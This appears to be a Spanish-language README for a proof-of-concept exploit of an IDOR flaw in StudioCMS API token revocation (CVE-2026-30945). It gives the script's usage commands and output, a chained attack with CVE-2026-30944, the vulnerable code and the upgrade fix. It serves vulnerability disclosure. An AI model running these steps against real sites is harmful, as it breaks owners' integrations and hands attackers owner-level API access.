┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Atacante   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Servidor   │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD del   │
                                              │  Propietario │──► ❌ 401 No Autorizado
                                              │  Integración │──► ❌ Acceso API Perdido
                                              │  Monitoreo   │──► ❌ Fallo Silencioso
                                              └──────────────┘

pip install requests colorama

# Revocar un token específico perteneciente al propietario
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Encadenar con CVE-2026-30944: crear un token para el objetivo primero
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Guardar resultados en JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

# Probar con múltiples roles
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

  ──────────────────────────────────────────────────────────
  FASE 1: Autenticación
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuario de sesión: editor01 (editor)
  [*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 3: Revocación de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID de token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revocando token API del objetivo...
  [+] ¡Token revocado! Respuesta del servidor: Token deleted
  [!] VULNERABILIDAD CONFIRMADA — ¡Token revocado exitosamente!
  [!] Las integraciones API del usuario objetivo ahora están rotas (DoS)

  ──────────────────────────────────────────────────────────
  FASE 3: Revocación de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID de token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revocando token API del objetivo...
  [*] Acceso denegado (403 Prohibido) — el endpoint puede estar parcheado
  [-] Revocación fallida: Acceso denegado (403 Prohibido)

Paso 1: Revocar el token legítimo del propietario    (CVE-2026-30945)
   └──► Los pipelines CI/CD del propietario fallan silenciosamente

Paso 2: Generar un nuevo token para el propietario   (CVE-2026-30944)
   └──► El atacante ahora tiene acceso API a nivel de propietario

Paso 3: El propietario crea un nuevo token para solucionarlo
   └──► El atacante lo revoca nuevamente (DoS persistente)

// [1] Solo verifica si el solicitante es editor — no PARA QUIÉN está revocando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Ambos valores del cuerpo de la solicitud — sin validación contra la sesión
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // Sin verificación de propiedad
    userID: string;     // Sin verificación de identidad
}>(ctx);

// [3] Pasados directamente a una operación destructiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

npm install studiocms@latest